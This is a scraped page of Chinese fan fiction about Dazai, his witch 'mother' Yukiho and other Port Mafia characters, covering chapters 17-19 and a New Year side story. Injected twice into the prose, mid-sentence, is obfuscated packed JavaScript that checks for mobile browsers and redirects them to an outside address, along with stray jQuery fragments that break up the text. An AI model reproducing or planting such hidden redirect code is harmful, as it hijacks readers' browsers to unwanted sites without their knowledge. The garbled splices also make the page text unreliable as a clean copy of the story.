() { $(''.inform'').remove(); $(''#content'').append('' ,对别人家的长辈说出这种话。” “哈?!长辈?!”中原中也原地石化,他实在想象不出来这条青花鱼居然有长的和他如此相像的亲人。 “呀,妈妈来接我下班吗?”太宰浑身冒着小花向雪穗扑了过去,雪穗顺势搂住了太宰低头询问晚餐安排。 “哈?!妈……妈?!”石化中原中也当场碎成一片一片,不、不可能!异能力、一定是精神攻击类的异能! 不然怎么会看见太宰这个混蛋故作可爱赖在别人怀里说着晚上吃些什么,这种生活化的话题也配出现在port mafia?! “青、青花鱼的…妈……妈?!”思考不能的中也丢了魂一样自言自语,露出睿智的眼神。 “只知道打打杀杀没脑子的蛞蝓连基本礼仪都不会了?对着人家的母亲做出这种失礼的表情,对了,妈妈酱,就是他打的我,快给我报仇呀”太宰举起左手泫然欲泣,柔弱地靠在雪穗肩上。 “你在乱说些什么啊混蛋!”中原中也习惯性地想要伸手揪住太宰的衣领,却被看破行动的雪穗一把挡住。 她将太宰护在身后,带着和煦的笑容捏住了中原中也的手腕:“啊拉,当着我的面对我的孩子动手,是否有些不妥呢?” 逐渐加重的手劲儿让中原中也清醒了过来,他意识到面前这位再怎么说都是长辈,不该这么失礼。 正撤回手深吸一口气准备道歉时,一抬眼就看见太宰在雪穗背后对着他做着鬼脸耀武耀威,压下去的怒火又立即燃了起来,“太!宰!你在挑衅我吗?” “嗯?”雪穗转过头只看见咬着嘴唇、脸色苍白地往后退了一步的阿治,“不管怎么看,都是你在恐吓我家小孩儿吧?” “我?恐吓?他?”中原中也浑身冒起红光,果然长得像的人心都脏,什么狗屁礼仪,他现在就要打得太宰当场给他跪下认错。 眼看着就要打起来了,太宰一个滑步往前站在了两人中间,顺手消除了中也的重力,一边对着雪穗说:“算了妈妈,我不怪他了,我们回家吧”,一边推着雪穗往门外走。 打起来就暴露太多信息给森先生了,一点都不划算。 “喂!你说清楚……”抬步欲追的中原中也看见太宰的手势恶狠狠地咬牙原地跺了几脚,“迟早有一天把这个自杀狂吊起来揍一顿!啊啊啊啊!” * 首领办公室 金发少女在靠窗的沙发边拿着蜡笔在画纸上涂涂画画,port mafia的首领森鸥外背着手看着窗外渐弱的夕辉。 “中也君,那位女性给你的感觉如何?” 中原中也看着自己手腕上隐约的红痕,恭敬地回答:“首领,她很危险,不是普通人”。 眼神还不好,轻轻松松就被太宰那个混蛋装模作样骗过去了。 “哦?那你觉得她和太宰君是真的有亲缘关系吗?” 一想到两张相似的面容和缠绷带的爱好,中原中也就感到一阵恶寒:“无论她是否和太宰那个混蛋有什么关系,但她维护太宰的意志是不容置疑的”。 不分青红皂白偏袒一个人,恐怕也只有家人才说得通吧。 “我知道了,对了中也君,你手上的宝石业务让太宰君接手吧,我这里有一份欧洲的情报需要你过去处理一下……” 18.开局一只宰18 跟着雪穗回家的太宰一路上都在吐槽着糟糕的工作,没什么实力的小帮派设下拙劣的陷阱想夺取port mafia的武器,写不完的文书报告和脑子被蠹虫驻空的蠢笨下属。 雪穗含笑地听着太宰的絮叨,偶尔插入一两句这样啊、那太糟了这类的感叹。 听到太宰百无聊赖的叹气声,雪穗问道:“既然感到无趣为什么不换一种生活方式呢?读书怎么样?” “啊,不是吧,您还没放弃啊,学校?一群脆弱的羔羊,蠢笨的稚童,我可和这些天真的生物合不来”。 太宰垂着眼睛单脚踩着一块一块的石砖蹦跶着向前,虚无的眼神不知道望向了什么方向。 “这样啊,妈妈只是想让你交几个朋友,像你和中原君那样”,对他们的过去心知肚明的雪穗当然不会被太宰拙劣的表演哄骗,方才和中也的相见不过是配合阿治的恶趣味罢了。 不可否认中也也是个好孩子,但打伤阿治的账还是得单独算一算。 总的来说他和阿治的相处也算融洽,难得的有少年气呢。 “哈——?!”太宰脚底一滑差点摔倒在地,“我和那个小矮子?!才不是什么朋友!他是我养的狗啊!狗!” “原来如此!那妈妈想让你多养几条狗”,唔,原来要把朋友说成狗吗?虽然不太明白,但狗是人类的好朋友,狗=朋友,没毛病。 太宰瞪大双眼,简直不敢相信自己的耳朵,“您在说什么啊——?!我可是最讨厌狗了,黏糊糊又恶心,随随便便一招手就恬不知耻地贴上去……” …… 在气氛融洽的碎碎念里,雪穗和太宰拎着在超市买来的菜,一路慢慢悠悠走回了暗巷。 太宰停在店铺门口,黑沉的目光看着这条小巷更深处的lupin酒吧的白色灯牌,“说起来,您是怎么知道这边有合适的店铺的?” 雪穗收拾着食材随口说了白天的事情。 太宰走上二楼的起居室,手指一路擦过墙面,看着故意做旧的家具皱起了眉头。 推开挂着‘阿治の小屋’幼稚门牌的卧室门,看着和之前房间几乎一样的布局,太宰停下脚步,呆立在房间门口,不着边际地对比着细节上的不同,视线停留在正对着床的那副画上。 原本挂着‘住着恶魔的中世纪名画’的位置被一幅巨大的海景图取代,天与海的交界处染上碎金般的波光,橙红的夕阳随着时间的推移逐渐隐没在海面上。 啊,会动的画……太宰略微有些出神。 但想到店铺来源的过分巧合,太宰两三步走下楼倚着厨房的纸推门,看见雪穗哼着不着调的小曲儿,拿着汤匙调味,话到嘴边又换了一句:“您喜欢这里吗?” 雪穗眉毛轻挑,抑制不住的欣喜扑面而来:“当然啦,虽然暗巷采光不好,但我已经完美解决了这个问题,这里还有地下室,可以改成魔药作坊,还能把我的棺材挪过来做成邮寄点,简直不能更棒了!” “对了阿治,之前的住所里有什么东西需要搬过来吗?以后和妈妈一起住,好吗?” 感受到雪穗外露的情绪,太宰的眸光闪了闪,眉眼间的冷冽逐渐柔和下来,无奈叹气:“您喜欢就好,那边也没什么有用的东西,不用拿了”。 您这不是什么都已经准备好了吗。 既然如此,那明天去把集装箱拆掉也没关系喽~ 转身背对着太宰的雪穗暗中决定将阿治之前住的集装箱毁尸灭迹,小孩子怎么能住在那种荒凉、没有一丝人气的地方呢。 * 雪穗行动力拉满,第二天就来到了太宰此前的住所。 这是一片被遗弃的角落,人们随意丢弃的垃圾堆叠成一片荒芜,废弃的家具、破碎的玻璃、起锈的杂物杂乱地盘踞在一起。 偶有幽灵般的沙沙声在荒凉的场地上响起,是在冷风中起舞的塑料袋。 太宰此前就住在这里,垃圾掩埋深处的集装箱里,几张铁皮包围起来的狭小空间,铁架的床已经占据了大半的空间,散落在地的部分文件和一张小桌,就已经是全部了。 空旷、冰冷、孤独…… 雪穗站在集装箱门口,并未踏足其中,长久地注视着,不知具体看向了哪里。 过了很久她才从这片废墟般的垃圾场中离去,令人瑟缩的寒气带着冰蓝的霜雪消散在她身后。 集装箱再也不复存在了。 雪穗走到人来人往的街道上,仰头晒着阳光驱散了周身的寒意,一个金发红裙的小女孩在奔跑中撞进了她的怀里。 雪穗一把搂住了女孩,将她扶正后蹲下身说道:“小朋友走路要小心一点,你家大人呢?怎么让你一个人在这里跑?” 女孩抿着嘴,怯怯地抬头道歉:“对不起……我不是故意的,我和林太郎走散了……呜呜呜”,说着女孩就哭了起来。 雪穗从怀里拿出纸巾温柔地擦掉女孩儿脸上的眼泪,小声哄着:“别担心,我会帮你找到他的,别哭,慢慢说,你叫什么名字?林太郎是什么人?” “我……我叫爱丽丝,林太郎……他经常让我换裙子,我一点都不喜欢!还不让我一个人出门……”爱丽丝抽泣着回答。 “别哭哦,我会帮助你的,我们去找市警叔叔把坏人抓起来”,听着就不太妙啊,雪穗目光犀利,拿出手机给市警打了报警电话,抱起爱丽丝冲向了警署。 爱丽丝愣了一下,猝不及防就被雪穗抱了起来,尖叫一声大声喊道:“林太郎才不是坏人!你、你放开我”。 与此同时,转角处走出一个穿着白大褂神情颓废的中年男性,左顾右盼地寻觅着,口中不断呼喊着:“爱丽丝酱,你在哪里?不要躲着爸爸了……爱丽丝酱……” 雪穗听见呼喊后看向路边店铺里的玻璃投影,男人半长的黑发,红得发紫的眼眸;怀里的女孩儿却是金发碧眼,光从面容上看也没有任何相似的地方啊!雪穗见状跑得更快了。 但男人很快就发现了雪穗,以及她由抱变为扛的爱丽丝,他快步追了上去,一边跑一边叫着:“啊爱丽丝酱!你要把我的女儿带到哪里去?快放开她!” 爱丽丝趴在雪穗肩上伸出双手哭喊着:“林太郎救我呜呜呜——” 雪穗充耳不闻一溜烟跑到了警署,将爱丽丝往值班市警的办公桌上一放,快速解释了一下:“这孩子好像是被坏人囚禁了,对方不让她出门还要强制给她换衣服,这孩子还一门心思把人当自己爸爸”。 市警神色严肃起来,立即安排值班人员上前询问,爱丽丝神色扭曲站在桌上大叫:“才不是!林太郎才不是什么坏人!你这个当街抢小孩儿的才是坏人!” 雪穗笑着回应:“啊呀呀,真是死心眼的孩子,我只是把她抱到警署来,可不是什么抢小孩儿的坏人,至于你口中的林太郎,让他亲自来对市警解释解释吧”。 过了几分钟,林太郎气喘吁吁地扶着警署的大门,抹了抹额头上的汗,看见爱丽丝后热泪盈眶地扑了过去:“爱丽丝酱——”,却被市警拦了下来。 市警严肃地对林太郎出示了报案书,“先生,请您先冷静一下,这位女士举报您并不是面前小朋友的合法监护人,还对小朋友做出了不恰当的行为”。 “诶——?可是爱丽丝酱就是我的女儿啊”,林太郎神情慌张地看向市警。 市警看了看林太郎和爱丽丝的长相,露出了微妙的神色,“有亲子鉴定吗?孩子的出生证明也行,如果是收养关系那么收养协议有吗?” “呃……” —— “然后呢?然后呢?”太宰眼中闪着兴奋的光芒,连手里的蟹肉盖浇饭都比不上听见森先生进局子的消息。 雪穗从一开始被爱丽丝碰瓷的时候,就意识到了这是针对她的试探,特意跑去警署玩儿了一出。 她摇了摇头说:“一开始因为他拿不出合法协议证明他们的亲子关系,又不想暴露自己的异能,就被市警拘留了下来。” “拘留——?!哈哈哈哈哈”,这件事太宰能笑好几年,森先生试探不成反而被他妈妈送进局子里,真是赔了夫人又折兵啊。 “不过我离开后他很快就被放了出来,市警或政府里应该有他的人脉”,雪穗顺手给太宰顺了顺气,笑得也太夸张了。 “哦?这样啊,我明白了,对了,妈妈有没有什么喜欢的宝石,我可以给你带回来哦~”。 “不用了,我不缺这些,要注意安全”,宝石不过是承载魔力的载体,在女巫的仓库里更是堆灰的存在,还不如研究一下怎么给阿治做点防身道具呢。 * 深夜,港口造船厂 船厂的四号仓库里到处都是弹孔与碎屑,灰蒙蒙的月色透过残破的门窗,依稀可以看见满地的瓦砾和残骸,仓库门口是几辆被炸毁的汽车,蜿蜒的血迹如枝蔓般在地上蔓延。 黑西装的port mafia成员沉默地搬动着地上的遗骸,首领直属武装部队【黑蜥蜴】的百人长广津柳浪正指挥着部下清点损失,等待着上头安排干部级人员接手此次袭击事件。 这是宝石走私线路的关键一环,珠宝走私向来是由中原中也负责,但此次事件中,来的人却不是中原中也。 单脚踩着滑板从上方公路一路溜下来的少年披着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900643|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件不合身的黑色西装,顶着一头蓬乱的黑发,嘴里还不停发出各种呜呼、哦吼的惊叹声。 路过的黑西装看见他都毕恭毕敬地停下手里的动作,将手举到胸前做出最恭敬的行礼:“太宰大人”。 太宰的速度越来越快,在靠近船厂时几乎化为了一道残影,正当太宰试图脚踢滑板来个空中旋转式转弯时,滑板‘滴——’地一声闪出红光并语音提示道:“您已超速”。 随即速度骤降到老人蹒跚的轮椅一般,太宰无趣地“啧”了一声,要不是【人间失格】会消除魔力,他早就把滑板中的‘未成年保护系统’改掉了。 太宰跳下滑板环视一圈,向广津柳浪走去,“把我的滑板带回去放办公室里,宝石生意此后就是我接手了,说说这次什么情况”。 “太宰大人,十分抱歉,我们只勘测到了现场情况,仓库驻守人员30人全部遇袭身亡,袭击者人数不明,是从仓库外进行伏击,现场遗留的□□和手枪弹壳都是port mafia武器库中未出库的武器,但武器库的监控没有任何异常”。 “也就是凭空消失?数量多少?” “……五把□□和三把手枪” “哦?不知名的敌人在武器库里偷了八把枪,就把重武驻守的宝石仓库洗劫一空,所有人员都是眉心一枪致命,没有异能力者的参与可说不太通,三十人像聋子一样依次等死,精神控制?隔绝声音?” 太宰蹲着翻看尸体暴露出的痕迹,完全没有任何抵抗就被取走了生命,废墟一样的仓库是在洗劫完宝石后用汽车引发的爆炸。 这么大的动静却没有惊动港口驻守的其他人员,如果不是看见仓库的黑烟根本没人发现这次袭击。 “仓库的监控呢?” “全、全毁”,仓库负责人哆嗦着声音回答道。 “已经交给信息部尝试恢复了,但被炸毁得比较彻底,目前没有任何进展”,广津柳浪补充说道。 “啊啊,也就是没有任何信息喽,被劫走的宝石查了吗?”太宰知道森先生为什么要把这个任务安排给他了,就凭这些调查方向都要自己来推动的蠢笨下属,能找到什么有用的线索简直是天方夜谭。 这时,一个戴着墨镜的黑西装人员跌跌撞撞地跑上来,大声喊着:“太宰大人,广津大人,宝石找到了!在……在一号仓库!” “呵,有趣”,太宰平静的脸上泛起一丝波澜,稍稍有些诧异,很快站起身招呼道:“一起去看看吧,广津先生”。 广津柳浪清点人数后,带着部下跟在太宰的身后,向一号仓库的方向走去。 一号仓库是最临近港口海岸的普通仓库,存放着造船所需的建材,地面上铺满了钢轨和各种零件设备,这是用来掩藏走私线路的货真价实的造船之地。 仓库的一侧是一排起重机,沿着海滨的方向延伸,一直通向码头,那边是船只下水的地方。 太宰站在靠近码头的位置,望向了浅海处运行的船只。 “太宰大人,宝石就在仓库中央待建的船只甲板上”,广津柳浪从仓库中走到太宰身边,请示下一步的动作。 太宰收回视线,并不打算进入仓库,看了看天色直接命令道:“重点去查不在一号仓库里,被带走的那些宝石,数量应该不多,把那几颗宝石转手到port mafia之前的交易线路完整查出来,还有,查一下一号仓库改造前是做什么的,尽快”。 说完就跳上台阶直接离开了港口。 两拨人吗?撒~明天再查吧~下班下班~ 广津柳浪看着太宰消失的背影拿出了手机,看了看时间,没想到最近太宰大人部下所说的“太宰大人从不在十点以后工作”的消息竟然是真的。 不过他们可不能将任务扔一边去休息,今晚看来是个不眠之夜了。 * 另一头的雪穗在太宰接到port mafia的消息出门后,将地下室收拾了出来,掐着点出门去公墓把自己的棺材和墓碑都挖了出来,打算带回家改造一番。 在回程途中,昏暗路灯投射下的斑驳光影中,雪穗感到了一股强烈的被窥视感,仅有一秒的时间视线就消失了,但雪穗一路都套着隐匿魔法前行,一般人类根本就看不见她。 奇怪?是错觉吗?迅速将四周探查一遍后并没有发现任何可疑的人员。 雪穗心头一跳,这个世界不应该有其他魔法侧的力量啊,得想办法探查探查,她加快速度离开了街道。 几分钟后,一缕幽绿从地底冒出,绕着雪穗方才停留的路灯处盘旋了两圈,向着海边的方向消失了。 …… 19.新年特辑[番外] “啊——不想大扫除!” “这个时间应该是带领部下全军出征,扛着热武器对敌方不断‘突突突——’才对,而我则会在众人的恐惧声中拿下零伤亡占领据点的功绩,为我的干部之旅添砖加瓦——!” 站在茶几上将扫帚当成机关枪不停对空气扫射的太宰语气激愤,蹦跳着将茶几整得一团乱。 从厨房拎着垃圾出来的雪穗头顶冒出几个十字,迅速揪住太宰的耳朵笑容满面地看着他:“阿治~你对在家陪妈妈做清洁有什么意见吗?” 雪穗背后仿佛开满了虚幻的百合花,太宰见状战术后仰讨好地笑着: “怎么会呢,和您在一起的时光都是我的荣幸,打扫房间这等小事也不在话下”,今日没有在脸上缠绷带的宰露出双眼真诚地看着雪穗。 冷哼一声表示自己不吃这套,其实内心非常受用的雪穗将抹布往太宰手里一丢,勒令他把客厅收拾干净,就拎着垃圾出门了。 雪穗怀里揣着采购的清单,拿出来一看—— 绝大部分食物都被人用黑笔涂掉之后在旁边做出了更改: 鱼糕(涂黑),改为:清蒸大闸蟹 栗金团(涂黑),改为:香辣蟹 年糕(涂黑),改为:咖喱蟹肉饭 红萝卜(涂黑),改为:蟹肉罐头 …… 雪穗脸色阴沉,一把把清单揉成一团和垃圾一起扔进了垃圾箱里。 转过身遇见了田中太太,她是一位非常优秀的全职太太,也是她教会雪穗如何辨认菜品新鲜与否,怎样才能抢到折扣商品这些生活小技巧。 雪穗一度将其尊为老师,虚心请教如何将孩子教养长大,虽然后来发现普通人的教养方法在阿治身上根本行不通,但她们还是培养出了相当深厚的友谊。 今日也是由田中太太指导雪穗准备新年,这是雪穗和阿治过的第一个新年,当然要隆重一点啦。 在门楣上悬挂“门松”,将污秽与不幸挡在门外;制作镜餠供奉神明;准备御节料理和新年贺卡…… 田中太太带着雪穗一步一步完善着节前准备。 * 太宰马马虎虎将客厅稍作整理,就吹着口哨出门了。 在今年的最后一天,他换下了往日的黑西装三件套,穿着烟青色的浴衣闪现在挂满红灯笼的街头各处,一头撞上了拿着牛皮纸袋的红发青年。 “呀~织田作,这是准备去哪儿呢?”太宰垫着脚打探了一下牛皮纸袋里的东西。 “嗯,要去制作年贺,要一起吗?太宰?”织田作将手里的袋子展示了一下,都是一些蜡笔、印章、空白贺卡之类的东西。 “新年贺卡啊,好无趣的说”,太宰撇了撇嘴。 “那就没办法了,我还准备了‘福笑游戏’的贴纸,既然太宰觉得无聊的话,那我就和孩子们一起玩儿了”。 织田作说完看着吊在他手臂上的太宰,脑袋顶上的呆毛摆出了一个问号。 “‘福笑游戏?!’就是那个,可以将人的五官扭曲制作出恶魔的游戏吗?!”太宰双眼放光几乎都要缠在织田作手臂上了。 “好像不太一样,是蒙眼贴五官拼凑表情的新年游戏”,织田作认真想了一下,表示这个游戏不能制作出恶魔。 “撒~这不是一样的吗?快走吧,我已经迫不及待要拿下头筹了!” …… 所以事情怎么会演变成这样呢? 安吾夹在太宰和织田作中间头冒冷汗。 左手边的太宰蒙着眼睛发出诡异的笑声,伸出了拿着眼睛贴纸的右手,在孩子们的吸气和惊呼声中反复移动。 在真嗣(织田作收养的孩子之一)的呼喊声:“没错就是这里!”中,太宰迅速出击将眼睛贴在了与之前比划差距十万八千里的地方,并且——是倒贴。 “啊啊啊啊啊!你一定是故意的!怎么会有你这么恶劣的大人!” 幸介抓着头发头痛地呼喊道,到现在为止没有贴出一个完整的笑脸,每一个都毁在了太宰这一步上。 太宰对着孩子们做着鬼脸,引起众怒被一哄而上地制裁。 “那个——”安吾看着眼前的闹剧有些无措,试图发出声响引起注意。 太宰被孩子们扑倒地上,织田作认认真真埋头思考“福笑游戏”失败的原因。 “我说!你们两个把我架过来是干什么啊?!哪怕是年末最后一天我也在加班啊!加班!我的时间可不是能浪费在看你们打闹这种事情上的!” 安吾忍无可忍,头顶冒出十字愤然掀桌。 所有人都转头看着安吾,时间仿佛静止了。 “噗嗤——”太宰保持着被压住的姿势笑出了声。 织田作歪着脑袋疑惑道:“太宰说叫你一起来做新年贺卡,没有和你说吗?” 安吾胸膛剧烈起伏,暴怒出声:“没有啊!你们两个!冲进我的办公室,把我架起来又冲了出去,到目前为止甚至没有问过我的意见!更别提给我解释一下要做什么了!” “啊,抱歉安吾,是我们忘记说了”,织田作一边道歉一边递上了空白的贺卡,“你要一起吗?还是要回去工作?” “唉,计划都已经被打乱了,就当作休息吧,年贺吗?” 安吾颓丧地叹了口气接过了贺卡。 “对哦,反正你交上去森先生也不会看的”,摸鱼摸得理直气壮的太宰已经开始制作贺卡了。 “这……这是什么啊?太宰君?”安吾目瞪口呆地看着太宰的贺卡。 织田作闻言转过脖子看了看,“唔……看起来不太妙啊”。 “哼哈哈哈,是‘福蛇索脖’,冰冷黏腻的身躯紧紧勒住你的脖子,一寸寸绞紧,感受到空气一点点消失,只能吐出气音而无法求救,清晰地感受到自己如何窒息的绝妙赐福之作!” 太宰十分满意地看着自己的画作。 一旁的织田作早就将孩子们搂在怀里,遮住了他们的视线,投来了不赞成的目光,并辣评:“是小朋友看了会做噩梦的程度”。 安吾表示赞同:“比起新年贺卡,更像是诅咒信呢”。 “诶,怎么这样,还准备送给我妈妈呢~” “太宰君,我希望年后不会看见port mafia 准干部暴毙的新闻”,安吾头痛地吐槽着。 …… 在和谐的气氛下,他们完成了年贺的制作并互相交换了贺卡。 太宰给安吾的年贺上写着“新年快乐,藏在末尾的小字:誓死守卫安吾的头发”。 后面是像光环一样首尾相接的三条蛇,据说是什么护发生肖。 给织田作的年贺上写着“新年快乐,藏在末尾的小字:明年来尝尝我做的硬豆腐吧”。 贺卡上画着“厨神·螣蛇”,莫约是蛇的细长条生物穿着厨师服露出狰狞笑容拿着汤匙不断搅拌,面前的铁锅冒出诡异的紫色气泡。 安吾的年贺倒是一板一眼地写着“恭祝新春,明年也请多多关照”,画作是极简的长线条,姑且也能猜出是‘蛇’吧。 倒是给太宰的年贺上额外写了一行小字“太宰君明年请不要再为我增加工作了,感激不尽”。 织田作的年贺上画着可爱的Q版蛇的图像,每一张都规规矩矩地写着“新年快乐,愿新的一年幸福安康”。 太宰拿到织田作的年贺倒是嘟囔着这比起新年祝福更像是诅咒,但他仍毫不客气地揣进了兜里。 三人还为孩子们画上了许多可爱的年画, (安吾:喂!太宰君的画也能叫‘可爱’吗?他完全在恐吓小孩儿吧?!) 在贺卡上写满了祝福,直到日色渐晚才互相告别。 * 太宰踩着自己的影子走在街头,街道两旁的店铺都挂满了喜庆的装饰,平日里的硝烟被巷尾烟花的硫磺味取代,各家都氤氲着食物的香气。 他穿行在为举办庆典忙碌的人群中,想起此前在‘七条街’的生日庆典,他也是这样与行人擦肩而过,只是这次没有伸出手扯他绷带的非人生物了。 在这条街的尽头,有人提着一盏灯靠在灰砾堆叠的墙边,目光悠远,安静地等待着。 就如此前每一个晚归的深夜,她总是安静地等在路口,为他留一盏灯。 太宰小跑过去扑进雪穗的怀里,顺手将手上残留的颜料往雪穗的白色和服上蹭了蹭,留下两道鲜明的印记。 “快回家吧,我快要饿死了,今晚有什么好吃的呀?” 雪穗恍若未觉,或者说就算知道了他的小动作也不在意,在这些细枝末节的地方她总是无限纵容着太宰,当然,再抹两下就不一定了:) “年越荞麦面、御节料理、杂煮……”越说一个,太宰的颜色就越灰一度,他的食谱篡改大作战就这样失败了…… 太宰几乎是被雪穗拖着回到家的,一想到本年的最后一天竟然没有大闸蟹收尾,太宰整个人都暗掉了。 人生果然是无意义的,吃不到大闸蟹还有什么继续下去的必要吗? 要不是雪穗一路钳着太宰,太宰早就给她表演一个一宰十八死的花样作死了。 到家门口,还没有开门太宰就闻到了室内飘出的一缕香味,勾着他的鼻子似有若无地绕了一圈,他用力咽了咽口水,双手捧脸闪动着晶莹的泪花: “我就知道妈妈会为我准备大闸蟹的,呐呐~快进去吧~” 雪穗戳着太宰鼓起的脸颊,戏笑道:“你在路上可不是这样说的”。 太宰循着香味飘到餐桌上,将雪穗的调笑抛之脑后,摩拳擦掌准备大干一场的时候被雪穗抓住了手腕: “真是小孩子一样,手都不洗?螃蟹拌颜料吃?” 太宰叹着气深情地看着餐桌上的螃蟹:“我的挚爱,你一定要等我回来,我马上—就——来——”, 声音越来越远,还没有彻底消散的时候,太宰已经坐回了餐桌。 …… 饭后太宰惬意地捧着果盘陷在柔软的沙发里,看着红白歌会昏昏欲睡。 “不去外面的庆典凑凑热闹吗?”雪穗收拾完房间坐在了太宰身边。 “啊,没什么意思,偶尔这样消磨时间也是一种不错的消遣”,太宰倒在雪穗怀里,头枕在了她的膝上。 新年庆典啊,还没有上次的生日庆典有意思,就勉强让给你了吧。 太宰垂下眼眸,昏昏欲睡,不知不觉地睡着了。 雪穗揉揉他的脑袋,将他抱进了房间,轻柔地盖上了被子,将年玉(日本的新年红包)和新年礼物放在了太宰的枕边,转身走向了露台。 她在露台上拿出了太宰不知道什么时候偷偷放进她衣兜里的新年贺卡。 意外的正经,规规矩矩地写着“新年快乐,顺遂安康”,贺卡上没有生肖的画像,但—— 一盏闪烁着幽蓝光芒的小夜灯停在贺卡中央。 雪穗低下头笑了笑,将贺卡放进胸口的内兜里,沉默了一会儿。 片刻后,雪穗微微抬头看向前方,轻声问道:“不下来吗?” 露台后的屋檐上有一些细碎的响动,刻意压制的呼吸在雪穗身后响起,雪穗快速转身接住了向她倒来的身影。 瘦削苍白的人影死死埋进雪穗的怀里,头靠在雪穗的肩上隐去了全部表情,唯有错乱的呼吸显示着他的不平静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913711|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我给你煮了一碗面,虽然对于年饭来说过于简陋了,但你的肠胃也吃不了什么其他东西,还给你留了两只大闸蟹哦~” 雪穗轻拍着他的后背,用怀抱驱散他周身的寒意,“先进去吧,治酱”。 黑发的少年始终没有抬头,捏住雪穗衣襟的指节微微泛白,似乎是用了极大的意志力才从雪穗怀里站起身来。 各种复杂的思绪流淌在眼底,不到一秒他就竭力遏制住自己的情绪,平静地回答道:“好的,妈妈”。 【太宰治】跟着雪穗走进了温暖的小家,壁炉里跳动的火苗将一切寒意都燃烧殆尽,他乖巧地坐在餐桌旁,双手放在膝上有些局促,目光一直跟随着雪穗。 雪穗端出象征健康长寿、斩断厄运的‘年越荞麦面’,和热气腾腾的大闸蟹。 弥散的热气像蛇一样盘旋,散作细密的沙揉进了【太宰】的眼睛,他似乎在用力压抑着什么,半响没有动作。 温热的气息骤然入侵了他的防线,雪穗靠坐在他身边,让他靠在自己的肩上,给他剥起了螃蟹。 “治酱,我在你身边,放松一点,无论发生什么我都会处理好的,你只要陪妈妈跨年就好啦,什么都别担心”。 “好”,【太宰】笑着回答,他想像楼上那个太宰一样活泼一点,这完全能够做到,他可以伪装得天衣无缝。 但他又不想这么做,他希望雪穗能记住他真实的模样,哪怕这也是在他控制中暴露出的部分真实。 他们在橘红的火光中紧靠在一起分享了晚餐,之后雪穗邀请他去新年庆典上逛一逛,他也笑着答应了。 雪穗牵着太宰走在狭长的街上,拥挤的人群不断试图从他们之中穿过,但雪穗始终没有放开【太宰】的手。 他们一起去捞了金鱼,看花车游行,在街头买了不少小吃,一路走下来,【太宰】的手里还拿着苹果糖,腰间挂了一个白色的面具。 最后走到了幽静的山坡上,等待着午夜烟花的到来。 在等待的时候,雪穗拿出了年玉和新年礼物送给【太宰】。 【太宰】笑着接过:“没想到妈妈还给我准备了礼物”,话音刚落就得到了一个暴栗。 “说什么呢,你是我的孩子,当然会有年礼啦”。 【太宰】垂眸不语,默默打开了新年礼物:是一盏小夜灯,在黑暗里闪烁着幽蓝光芒,游荡着星砂精灵,永不熄灭的夜灯。 他一下子攥紧了袋子,微弱的光芒骤然熄灭,将一切都隐藏在了黑暗里。 雪穗递给他一个信封打断了他的思绪,“这是什么?” “不知道哦,阿治放在我衣服兜里的,我想应该是给你的” 【太宰】接过信封,不知道想到了什么,手指有些颤抖,他闭了闭眼睛又睁开,打开了信封—— 是两张年贺,是安吾和织田作写给太宰治的年贺。 他不敢细看就立即塞了回去,小心翼翼地放进了雪穗递给他的袋子里,又觉得不妥拿出来放进了衣服的内兜里。 一道金线划破了几乎凝滞的气氛,在漆黑的天空绽放出夺目的光彩,接连不断的光晕出现在空中,燃烧生命般绽放出了最为璀璨的星光。 烟火照亮他们的脸庞,雪穗的声音在盛大的绽放中依旧清晰,像露珠滴入水面泛起的一圈圈涟漪,却将深沉的水域搅动得天翻地覆。 她在爆鸣声中拥抱他,对他说:“治酱~新年快乐,妈妈爱你”。 【太宰】几乎是露出了惶恐的表情,他控制不住自己颤抖的声音:“您答应过我的、会成功的对吗?” “对,一定会成功的,要等等妈妈啊,在妈妈看不见的地方也要好好照顾自己”。 雪穗紧紧抱着【太宰】,揉着他的头发,每次下压的力度都在告诉【太宰】她在这里,她会完成他们的约定。 【太宰】在雪穗的安抚中平静了下来,后退一步,背对着漫天的烟火对雪穗说:“妈妈,新年快乐”。 他们站在原地,用新年祝福代替告别,烟花还未散尽,【太宰】已经消失在了原地。 …… 在烟花快要散尽的最后时刻,雪穗回到了家里。 太宰披着外套站在露台上看着天空中的烟花,听见雪穗的脚步声不爽地大声阴阳怪气: “我还以为你不会回来了呢,烟花都快放完了也没人和我说一句祝福,徒留我一个人在这儿吹冷风”。 雪穗笑着为太宰扣上外套的扣子,在烟花散尽的最后一秒,她轻吻太宰的额头,对他说:“阿治,新年快乐,我爱你”。 想要继续滴滴叭叭的小嘴跟上了消音器一样安静下来,太宰的身影凝固地钉死在了原地,无响应地同手同脚路过雪穗走进了室内,在即将消失的时候传来一声喑哑的回应: “新年快乐……妈妈”。 【新年番外·完】 外编: “话说,为什么太宰君要我们都送两份年贺给他啊?”安吾和织田作并肩走在横滨的街道上。 “太宰说他要拿出去炫耀,会被一个漆黑小矮人愤怒地吃掉,所以要留备份”,织田作甩了甩脑袋上的呆毛天然地回答。 “咦惹——怎么想都不太可能吧?!不会就是为了看我们再画一遍一模一样的图吧?” “唔,反正太宰自有他的道理,他需要,我就写了,安吾不也是吗?” “说得也是——才怪!我是看织田作先生都开始动笔了,没办法才画的!” “这样啊,那……安吾是想去要回来?” “哪有送出去的年贺再要回来的道理”,安吾叹了口气,“不管谁收到了,总归是一份祝福,就这样吧”。 